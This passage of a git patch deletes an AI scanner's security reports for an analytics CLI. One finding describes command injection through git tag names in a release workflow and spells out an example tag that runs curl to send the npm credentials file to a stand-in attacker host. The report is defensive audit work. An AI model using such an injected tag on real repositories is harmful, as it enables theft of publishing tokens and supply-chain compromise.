it('falls back to axios message when the body has no error envelope', function () { From 4bb4036a4cca7e1d2e31d20b2935705cc98c11cf Mon Sep 17 00:00:00 2001 From: Yos Riady <yos@formo.so> Date: Thu, 25 Jun 2026 08:57:28 +0700 Subject: [PATCH 2/3] Remove deepsec scan output --- .../cli/files/.github/workflows/ci.yml.json | 64 -- .../files/.github/workflows/release.yml.json | 82 --- .../cli/files/src/commands/alerts.ts.json | 90 --- .../cli/files/src/commands/analytics.ts.json | 83 --- .../cli/files/src/commands/boards.ts.json | 82 --- .../cli/files/src/commands/charts.ts.json | 78 --- .../cli/files/src/commands/contracts.ts.json | 83 --- .../cli/files/src/commands/import.ts.json | 67 -- .../cli/files/src/commands/profiles.ts.json | 120 ---- .../data/cli/files/src/commands/query.ts.json | 68 -- .../cli/files/src/commands/segments.ts.json | 92 --- .deepsec/data/cli/files/src/index.ts.json | 123 ---- .../data/cli/files/src/lib/client.ts.json | 63 -- .../data/cli/files/src/lib/config.ts.json | 82 --- .deepsec/data/cli/files/src/lib/ui.ts.json | 66 -- .deepsec/data/cli/project.json | 6 - .deepsec/data/cli/reports/report.json | 609 ------------------ .deepsec/data/cli/reports/report.md | 91 --- .../runs/20260518132755-84f586919cca3cc4.json | 93 --- .../runs/20260518132805-a5fd1949eb744d8b.json | 27 - .gitignore | 3 + 21 files changed, 3 insertions(+), 2069 deletions(-) delete mode 100644 .deepsec/data/cli/files/.github/workflows/ci.yml.json delete mode 100644 .deepsec/data/cli/files/.github/workflows/release.yml.json delete mode 100644 .deepsec/data/cli/files/src/commands/alerts.ts.json delete mode 100644 .deepsec/data/cli/files/src/commands/analytics.ts.json delete mode 100644 .deepsec/data/cli/files/src/commands/boards.ts.json delete mode 100644 .deepsec/data/cli/files/src/commands/charts.ts.json delete mode 100644 .deepsec/data/cli/files/src/commands/contracts.ts.json delete mode 100644 .deepsec/data/cli/files/src/commands/import.ts.json delete mode 100644 .deepsec/data/cli/files/src/commands/profiles.ts.json delete mode 100644 .deepsec/data/cli/files/src/commands/query.ts.json delete mode 100644 .deepsec/data/cli/files/src/commands/segments.ts.json delete mode 100644 .deepsec/data/cli/files/src/index.ts.json delete mode 100644 .deepsec/data/cli/files/src/lib/client.ts.json delete mode 100644 .deepsec/data/cli/files/src/lib/config.ts.json delete mode 100644 .deepsec/data/cli/files/src/lib/ui.ts.json delete mode 100644 .deepsec/data/cli/project.json delete mode 100644 .deepsec/data/cli/reports/report.json delete mode 100644 .deepsec/data/cli/reports/report.md delete mode 100644 .deepsec/data/cli/runs/20260518132755-84f586919cca3cc4.json delete mode 100644 .deepsec/data/cli/runs/20260518132805-a5fd1949eb744d8b.json diff --git a/.deepsec/data/cli/files/.github/workflows/ci.yml.json b/.deepsec/data/cli/files/.github/workflows/ci.yml.json deleted file mode 100644 index d941ed4..0000000 --- a/.deepsec/data/cli/files/.github/workflows/ci.yml.json +++ /dev/null @@ -1,64 +0,0 @@ -{ - "filePath": ".github/workflows/ci.yml", - "projectId": "cli", - "candidates": [ - { - "vulnSlug": "github-workflow-security", - "lineNumbers": [ - 12, - 81 - ], - "snippet": "\nconcurrency:\n group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}\n cancel-in-progress: true\n", - "matchedPattern": "github.event interpolation in run:, secret reference" - } - ], - "lastScannedAt": "2026-05-18T13:27:55.995Z", - "lastScannedRunId": "20260518132755-84f586919cca3cc4", - "fileHash": "c17865ccd57f14e6304b95777a86087390e470d03b68145e00b71057aee9bac6", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:32:16.392Z", - "durationMs": 80847.33333333333, - "durationApiMs": 77802, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "2987151b-22c8-4aa8-97b4-670c195142f6", - "findingCount": 0, - "numTurns": 2.3333333333333335, - "phase": "process", - "costUsd": 0.29499000000000003, - "usage": { - "inputTokens": 2.6666666666666665, - "outputTokens": 5766.666666666667, - "cacheReadInputTokens": 45820, - "cacheCreationInputTokens": 20464 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" - } - } - ], - "status": "analyzed", - "gitInfo": { - "recentCommitters": [ - { - "name": "Yos Riady", - "email": "1084226+yosriady@users.noreply.github.com", - "date": "2026-05-03T21:01:49+07:00" - }, - { - "name": "ngogiahuandev", - "email": "ngogiahuan23122003@gmail.com", - "date": "2026-04-10T11:46:42+07:00" - } - ], - "enrichedAt": "2026-05-18T13:32:16.485Z" - } -} diff --git a/.deepsec/data/cli/files/.github/workflows/release.yml.json b/.deepsec/data/cli/files/.github/workflows/release.yml.json deleted file mode 100644 index e2e06b4..0000000 --- a/.deepsec/data/cli/files/.github/workflows/release.yml.json +++ /dev/null @@ -1,82 +0,0 @@ -{ - "filePath": ".github/workflows/release.yml", - "projectId": "cli", - "candidates": [ - { - "vulnSlug": "github-workflow-security", - "lineNumbers": [ - 9, - 69, - 74, - 168 - ], - "snippet": "\npermissions:\n id-token: write # Required for OIDC trusted publishing\n contents: write # Required for creating GitHub releases\n", - "matchedPattern": "id-token: write (OIDC), secret reference" - } - ], - "lastScannedAt": "2026-05-18T13:27:55.995Z", - "lastScannedRunId": "20260518132755-84f586919cca3cc4", - "fileHash": "53f9e7e70acc51536ba7dd422022cbb48ebee4c485bbbf6ccc70383ba6dbca31", - "findings": [ - { - "severity": "HIGH", - "vulnSlug": "github-workflow-security", - "title": "Command injection in release workflow via attacker-controlled git tag name (supply-chain RCE)", - "description": "The `publish` job interpolates tag-derived GitHub Actions expressions directly into multi-line `run:` shell scripts. L79 `CURRENT_TAG=${{ github.ref_name }}` injects the raw tag name, and L55/L82 `TAG_VERSION=${{ steps.version.outputs.version }}` / `VERSION=${{ steps.version.outputs.version }}` inject the `version` step output which is derived at L49 from the tag itself (`VERSION=${GITHUB_REF#refs/tags/v}`). Actions performs `${{ }}` substitution textually BEFORE the shell runs, so the tag name becomes literal shell source. Git ref-naming rules forbid spaces and a few metacharacters but PERMIT `;`, `$`, backtick, `(`, `)`, `|`, `&`, `{`, `}`, `<`, `>`. A tag such as `v1.0.0;curl${IFS}-d@$HOME/.npmrc${IFS}evil.com` (or backtick/`$()` variants, using `${IFS}` to avoid spaces) yields `CURRENT_TAG=v1.0.0;curl ... evil.com`, executing arbitrary commands. The `publish` job holds `id-token: write` (npm OIDC trusted publishing), `contents: write`, and environment access to `secrets.TEST_TOKEN` and `secrets.GITHUB_TOKEN`. Arbitrary code execution here means an attacker can publish a malicious `@formo/cli` to npm, exfiltrate the OIDC-minted npm publish token and `GITHUB_TOKEN`, and tamper with releases — a full supply-chain compromise of a published package. The earlier 'Verify tag is on main branch' step only checks `github.sha` ancestry (a hex SHA, not injectable) and does NOT validate the tag NAME, so it does not mitigate this: an attacker can point a maliciously-named tag at a legitimate main commit and the guard still passes. Precondition: ability to push/create a tag (repository write access; default GitHub has no tag-protection). This is a privilege escalation from 'write access' to 'arbitrary npm publish + OIDC/secret exfiltration', and is the canonical GitHub Actions script-injection anti-pattern (CWE-78) that GitHub explicitly warns against.", - "lineNumbers": [ - 49, - 55, - 79, - 82 - ], - "recommendation": "Never interpolate `${{ github.ref_name }}` or any tag/ref-derived value (including `steps.version.outputs.version`, which is computed from the tag) directly into a `run:` block. Pass them through the step's `env:` map and reference them as quoted shell variables, e.g.:\n\n - name: Generate release notes\n env:\n CURRENT_TAG: ${{ github.ref_name }}\n VERSION: ${{ steps.version.outputs.version }}\n run: |\n PREV_TAG=$(git tag -l 'v*' --sort=-version:refname | grep -v \"^${CURRENT_TAG}$\" | head -1)\n\nDo the same for the `TAG_VERSION` usage at L55. Environment-variable values are not re-parsed as shell, so injection is prevented. Additionally, harden the version regex (e.g. validate `github.ref_name` matches `^v[0-9]+\\.[0-9]+\\.[0-9]+([.-][0-9A-Za-z.]+)?$` and `exit 1` otherwise before any other step), and enable GitHub tag protection rules so only trusted maintainers can create `v*` tags.", - "confidence": "high", - "producedByRunId": "20260518132805-a5fd1949eb744d8b" - } - ], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:32:16.485Z", - "durationMs": 80847.33333333333, - "durationApiMs": 77802, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "2987151b-22c8-4aa8-97b4-670c195142f6", - "findingCount": 1, - "numTurns": 2.3333333333333335, - "phase": "process", - "costUsd": 0.29499000000000003, - "usage": { - "inputTokens": 2.6666666666666665, - "outputTokens": 5766.666666666667, - "cacheReadInputTokens": 45820, - "cacheCreationInputTokens": 20464 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" - } - } - ], - "status": "analyzed", - "gitInfo": { - "recentCommitters": [ - { - "name": "Yos Riady", - "email": "1084226+yosriady@users.noreply.github.com", - "date": "2026-05-03T21:01:49+07:00" - }, - { - "name": "ngogiahuandev", - "email": "ngogiahuan23122003@gmail.com", - "date": "2026-04-10T11:46:42+07:00" - } - ], - "enrichedAt": "2026-05-18T13:32:16.568Z" - } -} diff --git a/.deepsec/data/cli/files/src/commands/alerts.ts.json b/.deepsec/data/cli/files/src/commands/alerts.ts.json deleted file mode 100644 index ae063ee..0000000 --- a/.deepsec/data/cli/files/src/commands/alerts.ts.json +++ /dev/null @@ -1,90 +0,0 @@ -{ - "filePath": "src/commands/alerts.ts", - "projectId": "cli", - "candidates": [ - { - "vulnSlug": "insecure-crypto", - "lineNumbers": [ - 5, - 17, - 18, - 34, - 36, - 39, - 93, - 95, - 96, - 100, - 104, - 105, - 110, - 139, - 141, - 144, - 145, - 149, - 153, - 154, - 160, - 178, - 180, - 183, - 200, - 202, - 205, - 211 - ], - "snippet": "\nexport const alerts = Cli.create('alerts', {\n description: 'Project alert commands — create, list, update, and delete alerts',\n})\n", - "matchedPattern": "weak cipher algorithm" - } - ], - "lastScannedAt": "2026-05-18T13:27:55.910Z", - "lastScannedRunId": "20260518132755-84f586919cca3cc4", - "fileHash": "31b141939acf9b9ee20edc687a6f4379c771b89ab276bcc64987fd63baadcd84", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:30:45.062Z", - "durationMs": 30415.8, - "durationApiMs": 28011, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "002e479b-3054-4173-85cd-120252954fd4", - "findingCount": 0, - "numTurns": 2.2, - "phase": "process", - "costUsd": 0.14245805000000003, - "usage": { - "inputTokens": 2, - "outputTokens": 1932.2, - "cacheReadInputTokens": 34973.6, - "cacheCreationInputTokens": 12265 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" - } - } - ], - "status": "analyzed", - "gitInfo": { - "recentCommitters": [ - { - "name": "Yos Riady", - "email": "1084226+yosriady@users.noreply.github.com", - "date": "2026-05-18T17:16:09+07:00" - }, - { - "name": "ngogiahuandev", - "email": "ngogiahuan23122003@gmail.com", - "date": "2026-04-10T09:27:41+07:00" - } - ], - "enrichedAt": "2026-05-18T13:30:45.183Z" - } -} diff --git a/.deepsec/data/cli/files/src/commands/analytics.ts.json b/.deepsec/data/cli/files/src/commands/analytics.ts.json deleted file mode 100644 index a2f88f6..0000000 --- a/.deepsec/data/cli/files/src/commands/analytics.ts.json +++ /dev/null @@ -1,83 +0,0 @@ -{ - "filePath": "src/commands/analytics.ts", - "projectId": "cli", - "candidates": [ - { - "vulnSlug": "insecure-crypto", - "lineNumbers": [ - 5, - 13, - 14, - 15, - 16, - 17, - 18, - 19, - 20, - 21, - 22, - 23, - 24, - 25, - 26, - 27, - 28, - 29, - 30, - 132, - 136, - 140, - 147, - 157, - 161, - 165 - ], - "snippet": "\nexport const analytics = Cli.create('analytics', {\n description:\n 'Pre-built analytics query commands — KPIs, funnels, retention, revenue, and top-N breakdowns',\n})", - "matchedPattern": "weak cipher algorithm" - } - ], - "lastScannedAt": "2026-05-18T13:27:55.909Z", - "lastScannedRunId": "20260518132755-84f586919cca3cc4", - "fileHash": "832edb114f624fdde553a726f5174ea166c39ef52618d4a40ff971681c7de6ec", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:30:45.183Z", - "durationMs": 30415.8, - "durationApiMs": 28011, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "002e479b-3054-4173-85cd-120252954fd4", - "findingCount": 0, - "numTurns": 2.2, - "phase": "process", - "costUsd": 0.14245805000000003, - "usage": { - "inputTokens": 2, - "outputTokens": 1932.2, - "cacheReadInputTokens": 34973.6, - "cacheCreationInputTokens": 12265 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" - } - } - ], - "status": "analyzed", - "gitInfo": { - "recentCommitters": [ - { - "name": "Yos Riady", - "email": "1084226+yosriady@users.noreply.github.com", - "date": "2026-05-18T17:16:09+07:00" - } - ], - "enrichedAt": "2026-05-18T13:30:45.271Z" - } -} diff --git a/.deepsec/data/cli/files/src/commands/boards.ts.json b/.deepsec/data/cli/files/src/commands/boards.ts.json deleted file mode 100644 index b24de6f..0000000 --- a/.deepsec/data/cli/files/src/commands/boards.ts.json +++ /dev/null @@ -1,82 +0,0 @@ -{ - "filePath": "src/commands/boards.ts", - "projectId": "cli", - "candidates": [ - { - "vulnSlug": "insecure-crypto", - "lineNumbers": [ - 5, - 17, - 18, - 34, - 36, - 39, - 51, - 59, - 60, - 67, - 69, - 70, - 75, - 78, - 79, - 92, - 101, - 107, - 109, - 112, - 113, - 119, - 137, - 139, - 142 - ], - "snippet": "\nexport const boards = Cli.create('boards', {\n description: 'Dashboard board commands — create, list, update, and delete boards',\n})\n", - "matchedPattern": "weak cipher algorithm" - } - ], - "lastScannedAt": "2026-05-18T13:27:55.909Z", - "lastScannedRunId": "20260518132755-84f586919cca3cc4", - "fileHash": "500a04929575b1d361a4e125fe0482cb00b32b1daa78c404bd98eb070dee14d2", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:30:45.271Z", - "durationMs": 30415.8, - "durationApiMs": 28011, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "002e479b-3054-4173-85cd-120252954fd4", - "findingCount": 0, - "numTurns": 2.2, - "phase": "process", - "costUsd": 0.14245805000000003, - "usage": { - "inputTokens": 2, - "outputTokens": 1932.2, - "cacheReadInputTokens": 34973.6, - "cacheCreationInputTokens": 12265 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" - } - } - ], - "status": "analyzed", - "gitInfo": { - "recentCommitters": [ - { - "name": "ngogiahuandev", - "email": "ngogiahuan23122003@gmail.com", - "date": "2026-04-10T09:27:41+07:00" - } - ], - "enrichedAt": "2026-05-18T13:30:45.351Z" - } -} diff --git a/.deepsec/data/cli/files/src/commands/charts.ts.json b/.deepsec/data/cli/files/src/commands/charts.ts.json deleted file mode 100644 index 6a90336..0000000 --- a/.deepsec/data/cli/files/src/commands/charts.ts.json +++ /dev/null @@ -1,78 +0,0 @@ -{ - "filePath": "src/commands/charts.ts", - "projectId": "cli", - "candidates": [ - { - "vulnSlug": "insecure-crypto", - "lineNumbers": [ - 5, - 17, - 19, - 24, - 44, - 46, - 49, - 55, - 84, - 86, - 87, - 95, - 124, - 126, - 129, - 130, - 139, - 159, - 161, - 164, - 170 - ], - "snippet": "\nexport const charts = Cli.create('charts', {\n description: 'Chart commands — create, list, update, and delete charts within boards',\n})\n", - "matchedPattern": "weak cipher algorithm" - } - ], - "lastScannedAt": "2026-05-18T13:27:55.909Z", - "lastScannedRunId": "20260518132755-84f586919cca3cc4", - "fileHash": "7a1049c3612af80dcbdf81084397eb96923af79da2294857e50448f2e6d030c4", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:30:45.351Z", - "durationMs": 30415.8, - "durationApiMs": 28011, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "002e479b-3054-4173-85cd-120252954fd4", - "findingCount": 0, - "numTurns": 2.2, - "phase": "process", - "costUsd": 0.14245805000000003, - "usage": { - "inputTokens": 2, - "outputTokens": 1932.2, - "cacheReadInputTokens": 34973.6, - "cacheCreationInputTokens": 12265 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" - } - } - ], - "status": "analyzed", - "gitInfo": { - "recentCommitters": [ - { - "name": "ngogiahuandev", - "email": "ngogiahuan23122003@gmail.com", - "date": "2026-04-10T09:27:41+07:00" - } - ], - "enrichedAt": "2026-05-18T13:30:45.431Z" - } -} diff --git a/.deepsec/data/cli/files/src/commands/contracts.ts.json b/.deepsec/data/cli/files/src/commands/contracts.ts.json deleted file mode 100644 index ee0a73a..0000000 --- a/.deepsec/data/cli/files/src/commands/contracts.ts.json +++ /dev/null @@ -1,83 +0,0 @@ -{ - "filePath": "src/commands/contracts.ts", - "projectId": "cli", - "candidates": [ - { - "vulnSlug": "insecure-crypto", - "lineNumbers": [ - 5, - 17, - 18, - 66, - 68, - 69, - 70, - 71, - 72, - 83, - 136, - 138, - 139, - 142, - 143, - 144, - 154, - 174, - 176, - 177, - 182 - ], - "snippet": "\nexport const contracts = Cli.create('contracts', {\n description: 'Smart contract commands — register, list, update, and remove tracked contracts',\n})\n", - "matchedPattern": "weak cipher algorithm" - } - ], - "lastScannedAt": "2026-05-18T13:27:55.909Z", - "lastScannedRunId": "20260518132755-84f586919cca3cc4", - "fileHash": "42a76fddcd0b2a7d33794bfdf78c8fa65db157fcc2405a66eb146528f8f64c53", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:30:45.432Z", - "durationMs": 30415.8, - "durationApiMs": 28011, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "002e479b-3054-4173-85cd-120252954fd4", - "findingCount": 0, - "numTurns": 2.2, - "phase": "process", - "costUsd": 0.14245805000000003, - "usage": { - "inputTokens": 2, - "outputTokens": 1932.2, - "cacheReadInputTokens": 34973.6, - "cacheCreationInputTokens": 12265 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" - } - } - ], - "status": "analyzed", - "gitInfo": { - "recentCommitters": [ - { - "name": "Yos Riady", - "email": "1084226+yosriady@users.noreply.github.com", - "date": "2026-05-03T18:51:58+07:00" - }, - { - "name": "ngogiahuandev", - "email": "ngogiahuan23122003@gmail.com", - "date": "2026-04-10T09:27:41+07:00" - } - ], - "enrichedAt": "2026-05-18T13:30:45.508Z" - } -} diff --git a/.deepsec/data/cli/files/src/commands/import.ts.json b/.deepsec/data/cli/files/src/commands/import.ts.json deleted file mode 100644 index 83ce00e..0000000 --- a/.deepsec/data/cli/files/src/commands/import.ts.json +++ /dev/null @@ -1,67 +0,0 @@ -{ - "filePath": "src/commands/import.ts", - "projectId": "cli", - "candidates": [ - { - "vulnSlug": "insecure-crypto", - "lineNumbers": [ - 5, - 38, - 42, - 43, - 51 - ], - "snippet": "\nexport const importCmd = Cli.create('import', {\n description: 'Import commands — bulk import wallet addresses into your project',\n})\n", - "matchedPattern": "weak cipher algorithm" - } - ], - "lastScannedAt": "2026-05-18T13:27:55.909Z", - "lastScannedRunId": "20260518132755-84f586919cca3cc4", - "fileHash": "1a683012805a900dcab78406eabc625caed2dd6c92ebfc6097cff15cf7e04bf1", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:30:11.755Z", - "durationMs": 29793.75, - "durationApiMs": 27449, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "73190721-9d83-413f-9748-88626d00f584", - "findingCount": 0, - "numTurns": 2, - "phase": "process", - "costUsd": 0.1443679375, - "usage": { - "inputTokens": 1.5, - "outputTokens": 2118.75, - "cacheReadInputTokens": 20086.5, - "cacheCreationInputTokens": 13015.75 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" - } - } - ], - "status": "analyzed", - "gitInfo": { - "recentCommitters": [ - { - "name": "Yos Riady", - "email": "1084226+yosriady@users.noreply.github.com", - "date": "2026-05-03T18:51:58+07:00" - }, - { - "name": "ngogiahuandev", - "email": "ngogiahuan23122003@gmail.com", - "date": "2026-04-10T09:27:41+07:00" - } - ], - "enrichedAt": "2026-05-18T13:30:11.872Z" - } -} diff --git a/.deepsec/data/cli/files/src/commands/profiles.ts.json b/.deepsec/data/cli/files/src/commands/profiles.ts.json deleted file mode 100644 index 609d9a0..0000000 --- a/.deepsec/data/cli/files/src/commands/profiles.ts.json +++ /dev/null @@ -1,120 +0,0 @@ -{ - "filePath": "src/commands/profiles.ts", - "projectId": "cli", - "candidates": [ - { - "vulnSlug": "insecure-crypto", - "lineNumbers": [ - 5, - 17, - 19, - 25, - 28, - 32, - 93, - 128, - 130, - 131, - 132, - 148, - 149, - 150, - 154, - 168, - 171, - 173, - 174, - 178, - 185, - 194, - 201, - 244, - 246, - 251, - 252, - 261, - 266, - 278, - 323, - 325, - 331, - 332, - 333, - 337, - 343, - 348, - 353, - 391, - 393, - 396, - 397, - 403, - 408 - ], - "snippet": "\nexport const profiles = Cli.create('profiles', {\n description: 'Wallet profile commands',\n})\n", - "matchedPattern": "weak cipher algorithm" - } - ], - "lastScannedAt": "2026-05-18T13:27:55.909Z", - "lastScannedRunId": "20260518132755-84f586919cca3cc4", - "fileHash": "ffddee458c283a77bf23a4862a4e9a290e95409409b760b6725528b0fc3d2eaf", - "findings": [ - { - "severity": "BUG", - "vulnSlug": "other-logic-bug", - "title": "HTTP GET issued with a request body for profile search conditions", - "description": "searchProfilesRun() sends the validated `--conditions`/`--logic` payload as the body of a GET request: `client.request({ method: 'get', url: '/v0/profiles/', params, data: body })`. Bodies on GET requests are not reliably transmitted — axios sends them, but many HTTP intermediaries, proxies, and server frameworks strip or ignore GET request bodies. If the body is dropped anywhere along the path, the filter conditions are silently discarded and the endpoint returns the entire unfiltered profile dataset. This is exactly the silent-unfiltered-result footgun that parseSearchConditions()'s own comments (lines 52-55, 96-98) go to great lengths to prevent for bare field names. Not a security vulnerability (data is the caller's own project data under their own scoped key), but a correctness/cost concern: a user believing they filtered to a small result set may instead page through the full dataset. Low confidence because it depends on api.formo.so and the transport actually honoring GET bodies, which cannot be verified from the client code alone.", - "lineNumbers": [ - 124 - ], - "recommendation": "Either send the conditions payload via POST (e.g. a dedicated search endpoint) or confirm api.formo.so reliably reads GET bodies. If the GET-with-body contract is intentional and supported end-to-end, document it explicitly so future maintainers do not 'fix' it.", - "confidence": "low", - "producedByRunId": "20260518132805-a5fd1949eb744d8b" - } - ], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:30:11.873Z", - "durationMs": 29793.75, - "durationApiMs": 27449, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "73190721-9d83-413f-9748-88626d00f584", - "findingCount": 1, - "numTurns": 2, - "phase": "process", - "costUsd": 0.1443679375, - "usage": { - "inputTokens": 1.5, - "outputTokens": 2118.75, - "cacheReadInputTokens": 20086.5, - "cacheCreationInputTokens": 13015.75 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" - } - } - ], - "status": "analyzed", - "gitInfo": { - "recentCommitters": [ - { - "name": "Yos Riady", - "email": "1084226+yosriady@users.noreply.github.com", - "date": "2026-05-18T17:16:09+07:00" - }, - { - "name": "ngogiahuandev", - "email": "ngogiahuan23122003@gmail.com", - "date": "2026-04-10T09:27:41+07:00" - } - ], - "enrichedAt": "2026-05-18T13:30:11.964Z" - } -} diff --git a/.deepsec/data/cli/files/src/commands/query.ts.json b/.deepsec/data/cli/files/src/commands/query.ts.json deleted file mode 100644 index ff8abbf..0000000 --- a/.deepsec/data/cli/files/src/commands/query.ts.json +++ /dev/null @@ -1,68 +0,0 @@ -{ - "filePath": "src/commands/query.ts", - "projectId": "cli", - "candidates": [ - { - "vulnSlug": "insecure-crypto", - "lineNumbers": [ - 5, - 15, - 17, - 22, - 25, - 26 - ], - "snippet": "\nexport const query = Cli.create('query', {\n description: 'SQL analytics query commands',\n})\n", - "matchedPattern": "weak cipher algorithm" - } - ], - "lastScannedAt": "2026-05-18T13:27:55.908Z", - "lastScannedRunId": "20260518132755-84f586919cca3cc4", - "fileHash": "1b4d12b5ac53219b531b82fe78f6595a0c4ce66fe160609d1de032c06e86db2d", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:30:11.964Z", - "durationMs": 29793.75, - "durationApiMs": 27449, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "73190721-9d83-413f-9748-88626d00f584", - "findingCount": 0, - "numTurns": 2, - "phase": "process", - "costUsd": 0.1443679375, - "usage": { - "inputTokens": 1.5, - "outputTokens": 2118.75, - "cacheReadInputTokens": 20086.5, - "cacheCreationInputTokens": 13015.75 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" - } - } - ], - "status": "analyzed", - "gitInfo": { - "recentCommitters": [ - { - "name": "Yos Riady", - "email": "yos@formo.so", - "date": "2026-05-02T12:08:36+07:00" - }, - { - "name": "ngogiahuandev", - "email": "ngogiahuan23122003@gmail.com", - "date": "2026-04-10T11:11:00+07:00" - } - ], - "enrichedAt": "2026-05-18T13:30:12.075Z" - } -} diff --git a/.deepsec/data/cli/files/src/commands/segments.ts.json b/.deepsec/data/cli/files/src/commands/segments.ts.json deleted file mode 100644 index e0fac59..0000000 --- a/.deepsec/data/cli/files/src/commands/segments.ts.json +++ /dev/null @@ -1,92 +0,0 @@ -{ - "filePath": "src/commands/segments.ts", - "projectId": "cli", - "candidates": [ - { - "vulnSlug": "insecure-crypto", - "lineNumbers": [ - 5, - 17, - 18, - 53, - 55, - 58, - 66, - 84, - 86, - 89 - ], - "snippet": "\nexport const segments = Cli.create('segments', {\n description: 'User segment commands — create, list, and delete audience segments',\n})\n", - "matchedPattern": "weak cipher algorithm" - } - ], - "lastScannedAt": "2026-05-18T13:27:55.908Z", - "lastScannedRunId": "20260518132755-84f586919cca3cc4", - "fileHash": "1119b736c679fdff39b87c5fa5be32e496b18f0aecb56393ad9be4539a5a8f2f", - "findings": [ - { - "severity": "BUG", - "vulnSlug": "other-input-validation", - "title": "buildCreateSegmentBody does not validate that --filter-sets is an array", - "description": "buildCreateSegmentBody() does `JSON.parse(options.filterSets)` and forwards the result unchanged, but never checks `Array.isArray(parsedFilterSets)`. Both the catch-block error message ('--filter-sets must be a valid JSON array') and the Zod option description ('JSON array of filter set strings defining the segment') promise array validation that the code does not perform. Inputs like `--filter-sets '{\"x\":1}'`, `--filter-sets '5'`, or `--filter-sets '\"foo\"'` are valid JSON and therefore pass client-side validation, sending a malformed `filterSets` shape to POST /v0/segments/. This is inconsistent with the sibling validator buildImportBody() in import.ts (lines 19-21), which correctly rejects non-arrays. Not a security issue — the server enforces the real schema under the segments:write scope — but the misleading error message degrades the CLI/agent UX and can mask the actual cause of a server rejection.", - "lineNumbers": [ - 32, - 33, - 34, - 35, - 36, - 37, - 38, - 42 - ], - "recommendation": "After JSON.parse, add `if (!Array.isArray(parsedFilterSets)) throw new Error('--filter-sets must be a valid JSON array')`, mirroring buildImportBody() in import.ts, so the validation matches the documented contract.", - "confidence": "high", - "producedByRunId": "20260518132805-a5fd1949eb744d8b" - } - ], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:30:12.075Z", - "durationMs": 29793.75, - "durationApiMs": 27449, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "73190721-9d83-413f-9748-88626d00f584", - "findingCount": 1, - "numTurns": 2, - "phase": "process", - "costUsd": 0.1443679375, - "usage": { - "inputTokens": 1.5, - "outputTokens": 2118.75, - "cacheReadInputTokens": 20086.5, - "cacheCreationInputTokens": 13015.75 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\n \"refused\": false,\n \"reason\": null,\n \"skipped\": []\n}\n```" - } - } - ], - "status": "analyzed", - "gitInfo": { - "recentCommitters": [ - { - "name": "Yos Riady", - "email": "1084226+yosriady@users.noreply.github.com", - "date": 